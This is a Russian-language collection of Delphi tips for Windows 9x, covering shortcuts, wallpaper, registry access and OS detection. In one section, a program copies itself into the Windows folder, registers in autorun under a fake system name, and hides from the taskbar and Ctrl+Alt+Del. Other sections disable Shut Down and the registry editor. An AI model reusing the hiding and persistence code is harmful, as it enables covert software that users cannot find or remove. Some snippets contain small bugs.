    if Msg = Fm_FindPhoto then MyHandler(WPARAM,LPARAM)  else
    Inherited DefaultHandler(Message);
  end;
end;

// А тепрь можно
SendMessage(HWND_BROADCAST,FM_FINDPHOTO,0,0);

Кстати, для посылки сообщения дочерним контролам некоего контрола можно
использовать метод Broadcast.

К заголовку




Получение даты BIOS в Windows 95?
function GetBIOSDate:string;
{получение даты BIOS в Win95}
var
 s:array[0..7] of char;
 p:pchar;
begin
 p:=@s;
 asm
  push esi
  push edi
  push ecx
  mov esi,$0ffff5
  mov edi,p
  mov cx,8
@@1:mov al,[esi]
  mov [edi],al
  inc edi
  inc esi
  loop @@1
  pop ecx
  pop edi
  pop esi
 end;
 setstring(result,s,8);
end;
К заголовку




Регистрация программ в меню "Пуск" Windows 95.
Регистрация программ в меню "Пуск" Windows 95.

Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь - использование
DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов
- объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:

Function
 TForm2.ProgmanCommand(Command:string):boolean;
Var
 macrocmd:array[0..88] of char;
begin
 DDEClient.SetLink('PROGMAN','PROGMAN');
 DDEClient.OpenLink; { Устанавливаем связь по DDE }
 strPCopy(macrocmd,'['+Command+']'); { Подготавливаем ASCIIZ строку }
 ProgmanCommand :=DDEClient.ExecuteMacro(MacroCmd,false);
 DDEClient.CloseLink; { Закрываем связь по DDE }end;



При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:
Create(Имя группы, путь к GRP файлу) Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки
препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.
Delete(Имя группы) Удалить группу с именем "Имя группы"
ShowGroup(Имя группы, состояние) Показать группу в окне, причем состояние - число, определяющее параметры окна:
1-нормальное состояние + активация
2-миним.+ активация
3-макс. + активация
4-нормальное состояние
5-Активация
AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)
Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы,
Xpos и Ypos - координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного
места.
HotKey - виртуальный код горячей клавиши.
Mimimize - тип запуска, 0-в обычном окне, <>0 - в минимизированном.
DeleteItem(имя раздела) Удалить раздел с указанным именем в активной группе

Пример использования:
ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');
ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp,
0, , , '+ path + ',,)');
где path - строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');

К заголовку




Энергосбережение монитора?
Включить
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
Выключить
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
К заголовку




Определение имени пользователя?
unction GetUserName:string;
{Определение имени пользователя}
var
 Buffer: array[0..MAX_PATH] of Char;
 sz:DWord;
begin
 sz:=MAX_PATH-1;
 if windows.GetUserName(Buffer,sz)
 then begin
  if sz>0 then dec(sz);
  SetString(Result,Buffer,sz);
 end else begin
  Result:='Error '+inttostr(GetLastError);
 end;
end;

К заголовку




Куда установлена Windows?
GetWindowsDirectory


 var  Windir  : String;
       WindirP : PChar;
                     .  .  .  .  .
       WinDirP := StrAlloc(MAX_PATH);
       Res := GetWindowsDirectory(WinDirP, MAX_PATH);
       if Res > 0 then WinDir := StrPas(WinDirP);

К заголовку




Как узнать откуда была установлена Windows?
uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
        reg: TRegistry;
begin
        reg := TRegistry.Create;
        reg.RootKey := HKEY_LOCAL_MACHINE;
        reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\SETUP',false);
        ShowMessage(reg.ReadString('SourcePath'));
        reg.CloseKey;
        reg.free;
end;

К заголовку




Как создавать ярлыки на рабочем столе?
function CreateShortcut(const CmdLine, Args, WorkDir, LinkFile: string):
IPersistFile;
var
MyObject : IUnknown;
MySLink : IShellLink;
MyPFile : IPersistFile;
WideFile : WideString;
begin
MyObject := CreateComObject(CLSID_ShellLink);
MySLink := MyObject as IShellLink;
MyPFile := MyObject as IPersistFile;
with MySLink do
begin
SetPath(PChar(CmdLine));
SetArguments(PChar(Args));
SetWorkingDirectory(PChar(WorkDir));
end;
WideFile := LinkFile;
MyPFile.Save(PWChar(WideFile), False);
Result := MyPFile;
end;

procedure CreateShortcuts;
var Directory, ExecDir: String;
MyReg: TRegIniFile;
begin
MyReg := TRegIniFile.Create(
'Software\MicroSoft\Windows\CurrentVersion\Explorer');

ExecDir := ExtractFilePath(ParamStr(0));
Directory := MyReg.ReadString('Shell Folders', 'Programs', '') + '\' +
ProgramMenu;
CreateDir(Directory);
MyReg.Free;

CreateShortcut(ExecDir + 'Autorun.exe', '', ExecDir,
Directory + '\Demonstration.lnk');
CreateShortcut(ExecDir + 'Readme.txt', '', ExecDir,
Directory + '\Installation notes.lnk');
CreateShortcut(ExecDir + 'WinSys\ivi_nt95.exe', '', ExecDir,
Directory + '\Install Intel Video Interactive.lnk');
end;

К заголовку




Как сменить обои через код?
===1 ===
Для того чтобы поменять обои на рабочем столе используется функция:

SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar('C:\Windows\Plus!.bmp'), SPIF_UPDATEINIFILE);

=== 2 ===
Вот готовая процедура для замены картинки на рабочем столе:

uses Registry;

 ...........

procedure SetWallPaper(sFileName:string;iType:integer);
var
 regWall:TRegistryIniFile;
begin
 regWall:=TRegistryIniFile.Create('Control Panel\Desktop');
 try
  regWall.WriteString('','Wallpaper',sFileName);
  case iType of
    0:begin
       regWall.WriteString('','TileWallpaper','0');
       regWall.WriteString('','WallpaperStyle','0');
      end;
    1:begin
       regWall.WriteString('','TileWallpaper','1');
       regWall.WriteString('','WallpaperStyle','0');
      end;
    2:begin
       regWall.WriteString('','TileWallpaper','0');
       regWall.WriteString('','WallpaperStyle','2');
      end;
  end;{case}
  SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil,
SPIF_SENDWININICHANGE );
 finally
  regWall.Free;
 end;{try..finally}
end;

Вызов следующий:
 SetWallPaper('c:\Windows.98\циновка.bmp',0); - Посередине
 SetWallPaper('c:\Windows.98\циновка.bmp',1); - Рядом
 SetWallPaper('c:\Windows.98\циновка.bmp',2); - Растянуть.
К заголовку




Как сделать MS-Style диалог "О программе"?
Диалог можно нарисовать ручками (из калькулятора того же срисовать), а информацию об OS и количестве памяти можно взять
следующим образом :

type
TAboutForm = class(TForm)
OS: TLabel;
Mem: TLabel;
...

procedure TAboutForm.GetOSInfo;
var
Platform: string;
BuildNumber: Integer;
begin
case Win32Platform of
VER_PLATFORM_WIN32_WINDOWS:
begin
Platform := 'Windows 95';
BuildNumber := Win32BuildNumber and $0000FFFF;
end;
VER_PLATFORM_WIN32_NT:
begin
Platform := 'Windows NT';
BuildNumber := Win32BuildNumber;
end;
else
begin
Platform := 'Windows';
BuildNumber := 0;
end;
end;
if (Win32Platform = VER_PLATFORM_WIN32_WINDOWS) or
(Win32Platform = VER_PLATFORM_WIN32_NT) then
begin
if Win32CSDVersion = '' then
OS.Caption := Format('%s %d.%d (Build %d)', [Platform, Win32MajorVersion,
Win32MinorVersion, BuildNumber])
else
OS.Caption := Format('%s %d.%d (Build %d: %s)', [Platform, Win32MajorVersion,
Win32MinorVersion, BuildNumber, Win32CSDVersion]);
end
else
OS.Caption := Format('%s %d.%d', [Platform, Win32MajorVersion,
Win32MinorVersion])
end;

procedure TAboutForm.InitializeCaptions;
var
MS: TMemoryStatus;
begin
GetOSInfo;
MS.dwLength := SizeOf(TMemoryStatus);
GlobalMemoryStatus(MS);
Mem.Caption := FormatFloat('#,###" KB"', MS.dwTotalPhys div 1024);
end;
К заголовку




Как программно создать ярлык?
=== 1 ===
........................................................
uses ShlObj, ComObj, ActiveX;
procedure CreateLink(const PathObj, PathLink, Desc, Param: string);
var
IObject: IUnknown;
SLink: IShellLink;
PFile: IPersistFile;
begin
IObject := CreateComObject(CLSID_ShellLink);
SLink := IObject as IShellLink;
PFile := IObject as IPersistFile;
with SLink do
begin
SetArguments(PChar(Param));
SetDescription(PChar(Desc));
SetPath(PChar(PathObj));
end;
PFile.Save(PWChar(WideString(PathLink)), FALSE);
end;
........................................................

=== 2 ===
Ярлычки довольно быстро  создаются этим кодом

function CreateShortcut(const CmdLine, Args, WorkDir, LinkFile: string): IPersistFile;
var
MyObject  : IUnknown;
MySLink   : IShellLink;
MyPFile   : IPersistFile;
WideFile  : WideString;
begin
MyObject := CreateComObject(CLSID_ShellLink);
MySLink := MyObject as IShellLink;
MyPFile := MyObject as IPersistFile;

with MySLink do
begin
SetPath(PChar(CmdLine));
SetArguments(PChar(Args));
SetWorkingDirectory(PChar(WorkDir));
end;

WideFile := LinkFile;
MyPFile.Save(PWChar(WideFile), False);
Result := MyPFile;
end;

procedure CreateShortcuts;
var
 Directory, ExecDir: String;
 MyReg: TRegIniFile;
begin
MyReg := TRegIniFile.Create(
'Software\MicroSoft\Windows\CurrentVersion\Explorer');
ExecDir := ExtractFilePath(ParamStr(0));
Directory := MyReg.ReadString('Shell Folders', 'Programs', '') + '\' +

ProgramMenu;
CreateDir(Directory);
MyReg.Free;

CreateShortcut(ExecDir + 'Autorun.exe', '', ExecDir,
Directory + '\Demonstration.lnk');
CreateShortcut(ExecDir + 'Readme.txt', '', ExecDir,
Directory + '\Installation notes.lnk');
CreateShortcut(ExecDir + 'WinSys\ivi_nt95.exe', '', ExecDir,
Directory + '\Install Intel Video Interactive.lnk');
end;

К заголовку




Как получить дескриптор панели задач (TaskBar)?
hTaskbar := FindWindow('Shell_TrayWnd', Nil );
К заголовку




Версия dos и версия win
// Delphi 5.0 WIN2k pro
// dos amp& win ver. really works
procedure TForm1.BitBtn1Click(Sender: TObject);
var
WinV: Word;
DosV: Word;

begin
WinV := GetVersion and $0000FFFF;
DosV := GetVersion shr 16;
Label1.Caption := IntToStr(Hi(DosV))+'.'+IntToStr(Lo(DosV));
Label2.Caption := IntToStr(Lo(WinV))+'.'+IntToStr(Hi(WinV));

end;
К заголовку




Где каталоги Windows?
== 1 ===
Иногда нужно бывает обратиться к какому-либо файлу, который находится как раз в этой %WinDir директории. Можно, конечно,
написать C:\WINDOWS, но, тогда с уверенностью можно сказать, что на части компьютеров эта программа не пройдет.

Предлагаю Вам такую процедуру:

Var F:TextFile;
    St,Res:String;
begin
  AssignFile(F,'c:\msdos.sys'); Reset(F);
  While not Eof(F) do begin
    ReadLn(F,St);
    If Copy(St,1,6)='WinDir' then Break;
  end;
  CloseFile(F);
  Res:=Copy(St,8,Length(St)-7);
end.

После выполнения этой процедуры в переменную Res записывается значение %WinDir.

=== 2 ===

 Сначала, естественно, объявляем в uses модуль Registry

Затем по нажатию на кнопку пишем такой код:

procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.LazyWrite := false;
reg.OpenKey(
'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',
false);
ts := TStringList.Create;
reg.GetValueNames(ts);
for i := 0 to ts.Count -1 do begin
Memo1.Lines.Add(ts.Strings[i] +
' = ' +
reg.ReadString(ts.Strings[i]));
end;
ts.Free;
reg.CloseKey;
reg.free;
end;
К заголовку




Определение операционной системы
const
{ operating system constants }
cOsUnknown = -1;
cOsWin95 = 0;
cOsWin98 = 1;
cOsWin98SE = 2;
cOsWinME = 3;
cOsWinNT = 4;
cOsWin2000 = 5;
cOsWhistler = 6;

function GetOperatingSystem : integer;
var
osVerInfo : TOSVersionInfo;
majorVer, minorVer : Integer;
begin
result := cOsUnknown;
{ set operating system type flag }
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(osVerInfo) then
begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
case osVerInfo.dwPlatformId of
VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
begin
if majorVer <= 4 then
result := cOsWinNT
else if (majorVer = 5) AND (minorVer= 0) then
result := cOsWin2000
else if (majorVer = 5) AND (minorVer = 1) then
result := cOsWhistler
else
result := cOsUnknown;
end;
VER_PLATFORM_WIN32_WINDOWS : { Windows 9x/ME }
begin
if (majorVer = 4) AND (minorVer = 0) then
result := cOsWin95
else if (majorVer = 4) AND (minorVer = 10) then
begin
if osVerInfo.szCSDVersion[1] = 'A' then
result := cOsWin98SE
else
result := cOsWin98;
end
else if (majorVer = 4) AND (minorVer = 90) then
result := cOsWinME
else
result := cOsUnknown;
end;
else
result := cOsUnknown;
end;
end
else
result := cOsUnknown;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(GetOperatingSystem));
end;

К заголовку




Как получить список установленных модемов в Win95/98
unit PortInfo;
interface
uses Windows, SysUtils, Classes, Registry;
function EnumModems : TStrings;
implementation
function EnumModems : TStrings;
var
R : TRegistry;
s : ShortString;
N : TStringList;
i : integer;
j : integer;
begin
Result:= TStringList.Create;
R:= TRegistry.Create;
try
with R do begin
RootKey:= HKEY_LOCAL_MACHINE;
if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then
if HasSubKeys then
begin
N:= TStringList.Create;
try
GetKeyNames(N);
for i:=0 to N.Count - 1 do begin
closekey; { + }
openkey('\System\CurrentControlSet\Services\Class\Modem',false); { + }
OpenKey(N[i], False);
s:= ReadString('AttachedTo');
for j:=1 to 4 do
if Pos(Chr(j+Ord('0')), s) > 0 then
Break;
Result.AddObject(ReadString('DriverDesc'),TObject(j));
CloseKey;
end;
finally
N.Free;
end;
end;
end;
finally
R.Free;
end;
end;
end.

К заголовку




Определение наличия сопроцессора
 В отличие от общепринятого мнения не всее клоны 486/586/686/ и Pentium имеют сопроцессор для вычислений с плавающей
запятой. В примере определяется наличие сопроцессора и под Win16 и под Win32.

{$IFDEF WIN32}
uses Registry;
{$ENDIF}
function HasCoProcesser : bool;
{$IFDEF WIN32}
var TheKey : hKey;
{$ENDIF}
begin
Result := true;
{$IFNDEF WIN32}
if GetWinFlags and Wf_80x87 = 0 then
Result := false;
{$ELSE}
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\FloatingPointProcessor',0, KEY_EXECUTE,
TheKey) ERROR_SUCCESS then
result := false;
RegCloseKey(TheKey);
{$ENDIF}
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if HasCoProcesser then
ShowMessage('Has CoProcessor')
else
ShowMessage('No CoProcessor - Windows Emulation Mode');
end;

К заголовку




Отключить команду выключить компьютер
Как вы думаете, что сделает глупый пользователь, если вдруг не обнаружит у себя в меню "ПУСК" команду "Выключить
компьютер"... Правильно -  сразу сожрёт от испуга свою мышь и побежит хвастаться друзьям, что его хакнул сам Билл Гейтс!!! Так
не будем же его огорчать и дадим ему такой шанс.

В системном реестре есть специальный ключ, отвечающий за доступность этой команды. Вот он:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

В этом ключе нужно только создать параметр с именем "NoClose" и задать ему в качестве значения единицу.

Как же это можно сделать из Delphi?



Сначала в области uses нужно объявить модуль Registry. Вот так:

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry,
StdCtrls;


Затем, например, по нажатию какой-нибудь кнопки написать следующий код:

procedure TForm1.Button1Click(Sender: TObject);
var
a:TRegistry;
begin
a:=TRegistry.create;
a.RootKey:=HKEY_CURRENT_USER;
a.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
a.WriteInteger('NoClose',1);
a.CloseKey;
a.Free;
end;

Как это сделано?

Сначала мы объявляем переменную класса TRegistry:

var
a:TRegistry;


Выделяем под неё память:

a:=TRegistry.create;

Указываем с каким из основных ключей мы хотим иметь дело, используя свойство RootKey [ключи описывались в статье "О
реестре"]:

a.RootKey:=HKEY_CURRENT_USER;

Открываем нужный ключ. Фунции OpenKey нужно указать два параметра: сначала какой ключ мы открываем, а затем логическое
значение, обозначающее: будет ли ключ создан в случае его отсутствия:

a.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);

Вносим целочисленное значение в параметр "NoClose", то что значение вносится целочисленное мы показали, используя функцию
WriteInteger. Чтобы задействовать этот параметр нужно в качестве значения задать единицу (ноль снимает использование).

a.WriteInteger('NoClose',1);

После того как мы сделали своё грязное дело :-)) нужно закрыть ключ:

a.CloseKey;

...и освободить память: a.Free;
К заголовку




Отключение редактора системного реестра
Например мы вынесли компонент класса TCheckBox, назвали его "Использовать редактор системного реестра". Задача такова: когда
флажок установлен пользователь может воспользоваться редактором реестра, когда не установлен - соответственно, не может!!!


Что нужно для осуществления этой задачи? Нужно воспользоваться ключом

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

создать в нём параметр

DisableRegistryTools

и задать ему в качестве значение 1, т.е. задействовать его.

Код пишем по нажатию на самом Checkbox'e:

procedure TForm1.CheckBox1Click(Sender: TObject);
var
H:TRegistry;
begin
H:=TRegistry.Create;
H.RootKey:=HKEY_CURRENT_USER;
H.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
if CheckBox1.Checked then H.WriteInteger('DisableRegistryTools',0)
else H.WriteInteger('DisableRegistryTools',1);
H.CloseKey;
H.Free;
end;



Не забудьте в области uses объявить модуль Registry:

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Registry;
К заголовку




Как поместить программу в автозапуск
то можно сделать несколькими способами, но наиболее оптимальный - занесение файла в автозапуск реестра, который находится по
следующему адресу:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\

CurrentVersion\Run

Здесь есть два весьма важных аспекта:
  + Глупый пользователь может удалить нашу прогу
  + И мы не знаем откуда чудилка её запустит

Решением этих двух проблем является вот что:

Прога должна при запуске копировать сама себя в укромное местечко, например в каталог Windows, и заносить в реестр путь к
созданной копии, которая и будет запускаться при каждом запуске Windows.

Плюс к тому нужно сделать так, чтобы не было видно программу в Ctrl+Alt+Delete  и её кнопки на панели задач. Так вот для такой
полной анонимности и безнаказанности нужно по созданию окна (событие OnCreate) написать следующий код:

procedure TForm1.FormCreate(Sender: TObject);
var
h:TRegistry; //Переменная для занесения проги в реестр
begin
i:=0;
Application.ShowMainForm:=false;  //Скрываем главное окно и кнопку программы
if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1); //Убираем из списка Ctrl+Alt+Delete
WinDirP := StrAlloc(MAX_PATH);  //Находим каталог Windows, чтобы поместить в него копию проги
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);
if FileExists(WinDir+'\system\ft.com')=false then  //Проверяем, если файл ещё не скопирован,
CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false); //тогда делаем копию
h:=TRegistry.Create;  {заносим программу в автозапуск реестра под каким-нибудь "левым" (желательно "системным" именем)
именем}
h.RootKey:=HKEY_LOCAL_MACHINE;
h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
h.CloseKey;
h.Free;
end;

Помимо этого нужно ещё сделать следующее:

до слова implementation написать

function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;external 'KERNEL32.DLL';
implementation

в публичных объявлениях объявить несколько глобальных переменных

public
{ Public declarations }

Windir : String;
WindirP : PChar;
Res : Cardinal;

в области uses объявить модуль Registry

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry,
ExtCtrls;

Ну вот вообщем-то и всё, что нужно для полного счастья  :-)
К заголовку




Как зарегистрировать новый тип файлов
Не хуже M$ получается! У них свои типы файлов, и у нас будут свои! Всё, что для этого нужно - точно выполнять
последовательность действий и научиться копировать в буфер, чтобы не писать все те коды, что будут тут изложены :))
Сначала, естественно, объявляем в uses модуль Registry.
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Registry;

Затем в публичных объявлениях объявляем процедуру регистрации нового типа файлов:
public
{ Public declarations }
procedure RegisterFileType(ext:String; FileName:String);



Описываем её так:
procedure TForm1.RegisterFileType(ext:String; FileName:String);
var
reg:TRegistry;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CLASSES_ROOT;
reg.OpenKey('.'+ext,True);
reg.WriteString('',ext+'file');
reg.CloseKey;
reg.CreateKey(ext+'file');
reg.OpenKey(ext+'file\DefaultIcon',True);
reg.WriteString('',FileName+',0');
reg.CloseKey;
reg.OpenKey(ext+'file\shell\open\command',True);
reg.WriteString('',FileName+' "%1"');
reg.CloseKey;
reg.Free;
end;

Ну а по нажатию какого-нибудь батона регистрируем!
procedure TForm1.Button1Click(Sender: TObject);
begin
RegisterFileType('iii',Application.ExeName);
end;

К заголовку




Как получить список часовых поясов
 Сначала, естественно, объявляем в uses модуль Registry.

Затем по нажатию на кнопку пишем такой код:

var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey(
'SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones',
false);
if reg.HasSubKeys then begin
ts := TStringList.Create;
reg.GetKeyNames(ts);
reg.CloseKey;
for i := 0 to ts.Count -1 do begin
reg.OpenKey(
'SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones\' +
ts.Strings[i],
false);
Memo1.Lines.Add(ts.Strings[i]);
Memo1.Lines.Add(reg.ReadString('Display'));
Memo1.Lines.Add(reg.ReadString('Std'));
Memo1.Lines.Add(reg.ReadString('Dlt'));
Memo1.Lines.Add('----------------------');
reg.CloseKey;
end;
ts.Free;
end else
reg.CloseKey;
reg.free;
end;

К заголовку




Как увеличить процессорное время, выделяемого программе?
Следующий пример изменяет приоритет приложения. Изменение приоритета следует использовать с
осторожностью - т.к. присвоение слишком высокого приоритета может привети к медленной работе остальных
программ и системы в целом. См. Win32 help for SetThreadPriority() function.
Пример:

  procedure TForm1.Button1Click(Sender: TObject);
  var
    ProcessID : DWORD;
    ProcessHandle : THandle;
    ThreadHandle : THandle;
  begin
    ProcessID := GetCurrentProcessID;
    ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION,
                                 false,
                                 ProcessID);
    SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
    ThreadHandle := GetCurrentThread;
    SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
  end;
К заголовку




Программно сменить картинку на рабочем столе
захотел программно сменить картинку на рабочем столе. Обои
т.е... я залез в реестр изменил нужную строку. Все нормально. в
реестре изменилось. Но сам виндовс не обновился. Т.е картинка не
сменилась. Потом, когда я запускаю какую-нить игру, она меняется. А так
нет. Как мне обновить виндовс? перерисовать что ли.


=== 1 ===
Вот так:
procedure TForm1.FormCreate(Sender: TObject);
var
St : string;
begin
St := 'C:\MyWallPaper.Bmp';
SystemParametersInfo(SPI_SETDESKWALLPAPER,UINT(St),nil,SPIF_SENDCHANGE);
или так
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, @St, SPIF_UPDATEINIFILE OR SPIF_SENDWININICHANGE);
end;

=== 2 ===
Попробуй покапаться с АПИ - SystemParametersInfo
или вот тебе компонент:

unit Walpaper;

interface

uses
{$IFDEF WIN32} Windows, Registry, {$ELSE} WinTypes, WinProcs, IniFiles, {$ENDIF}
Classes, Controls, SysUtils;

type
TWallPaper = class(TComponent)
private
PC: Array[0..$FF] of Char;
{$IFDEF WIN32}
Reg: TRegistry;
{$ELSE}
Reg: TIniFile;
WinIniPath: String;
{$ENDIF}

function GetWallpaper: String;
procedure SetWallpaper(Value: String);
function GetTile: Boolean;
procedure SetTile(Value: Boolean);
function GetStretch: Boolean;
procedure SetStretch(Value: Boolean);
protected
{$IFNDEF WIN32}
constructor Create(aOwner: TComponent); override;
{$ENDIF}
public
published
property Wallpaper: String read GetWallpaper write SetWallpaper;
property Tile: Boolean read GetTile write SetTile;
property Stretch: Boolean read GetStretch write SetStretch;
end;

procedure Register;

implementation

{$IFNDEF WIN32}
constructor TWallpaper.Create(aOwner: TComponent);
begin
inherited Create(aOwner);
GetWindowsDirectory(PC, $FF);
WinIniPath := StrPas(PC) + '\WIN.INI';
end;
{$ENDIF}

function TWallpaper.GetWallpaper: String;
begin
{$IFDEF WIN32}
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
Result := Reg.ReadString('Wallpaper');
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
Result := Reg.ReadString('Desktop', 'Wallpaper', '');
Reg.Free;
{$ENDIF}
end;

procedure TWallpaper.SetWallpaper(Value: String);
begin
if not (csDesigning in ComponentState) and
not (csLoading in ComponentState) and
not (csReading in ComponentState) then
begin
StrPCopy(PC, Value);
SystemParametersInfo(spi_SetDeskWallpaper, 0, @PC, spif_UpdateIniFile);
end;
end;

function TWallpaper.GetTile: Boolean;
begin
{$IFDEF WIN32}
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
Result := Boolean(StrToInt(Reg.ReadString('TileWallpaper')));
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
Result := Reg.ReadBool('Desktop', 'TileWallpaper', False);
Reg.Free;
{$ENDIF}
end;

procedure TWallpaper.SetTile(Value: Boolean);
begin
if not (csDesigning in ComponentState) and
not (csLoading in ComponentState) and
not (csReading in ComponentState) then
begin
{$IFDEF WIN32}
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
Reg.WriteString('TileWallpaper', IntToStr(Integer(Value)));
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
Reg.WriteBool('Desktop', 'TileWallpaper', Value);
Reg.Free;
{$ENDIF}
SetWallpaper(Wallpaper);
end;
end;

function TWallpaper.GetStretch: Boolean;
var
i: Integer;
begin
{$IFDEF WIN32}
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
i := StrToInt(Reg.ReadString('WallpaperStyle'));
except
end;
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
i := Reg.ReadInteger('Desktop', 'WallpaperStyle', 0);
Reg.Free;
{$ENDIF}
Result := i = 2;
end;

procedure TWallpaper.SetStretch(Value: Boolean);
var
v: Integer;
begin
if not (csDesigning in ComponentState) and
not (csLoading in ComponentState) and
not (csReading in ComponentState) then
begin
if Value then v := 2 else v := 0;

{$IFDEF WIN32}
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\desktop\', False);
Reg.WriteString('WallpaperStyle', IntToStr(v));
Reg.Free;
{$ELSE}
Reg := TIniFile.Create(WinIniPath);
Reg.WriteInteger('Desktop', 'WallpaperStyle', v);
Reg.Free;
{$ENDIF}
SetWallpaper(Wallpaper);
end;
end;

procedure Register;
begin
RegisterComponents('JohnUtil', [TWallPaper]);
end;

end.


=== 3 ===
WinAPI:
BOOL SystemParametersInfo(
UINT uiAction, // system parameter to query or set
UINT uiParam, // depends on action to be taken
PVOID pvParam, // depends on action to be taken
UINT fWinIni // user profile update flag
);

uiAction := SPI_SETDESKWALLPAPER Sets the desktop wallpaper.
pvParam := 'Имя BMP файла'#0
uiParam := 0
fWinIni := SPIF_UPDATEINIFILE

К заголовку




Как подавить реакцию Windows на CTRL+ALT+DEL, ALT-TAB, CTRL-ESC
В некоторых случаях (например, при работе в полноэкранном режиме, показе своей презентации или экранной
заставки ...) бывает полезно заблокировать перечисленные комбинации клавиш. Они блокируются при работе
системы в режиме "экранная заставка" , который в свою очередь несложно включить и выключить:

// Включение режима
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0);
// Выключение режима
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);

Кстати, SystemParametersInfo имеет еще кучу полезных
ключей  SPI_****, подробности см. в win32.hlp

К заголовку




Определение версии Windows
const
{ operating system constants }
cOsUnknown  = -1;
cOsWin95    =  0;
cOsWin98    =  1;
cOsWin98SE  =  2;
cOsWinME    =  3;
cOsWinNT    =  4;
cOsWin2000  =  5;
cOsWhistler =  6;

function GetOperatingSystem : integer;
var
osVerInfo    : TOSVersionInfo;
majorVer, minorVer : Integer;
begin
result := cOsUnknown;
{ set operating system type flag }
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(osVerInfo) then
begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
case osVerInfo.dwPlatformId of
VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
begin
if majorVer <= 4 then
result := cOsWinNT
else if (majorVer = 5) AND (minorVer= 0) then
result := cOsWin2000
else if (majorVer = 5) AND (minorVer = 1) then
result := cOsWhistler
else
result := cOsUnknown;
end;
VER_PLATFORM_WIN32_WINDOWS :  { Windows 9x/ME }
begin
if (majorVer = 4) AND (minorVer = 0) then
result := cOsWin95
else if (majorVer = 4) AND (minorVer = 10) then
begin
if osVerInfo.szCSDVersion[1] = 'A' then
result := cOsWin98SE
else
result := cOsWin98;
end
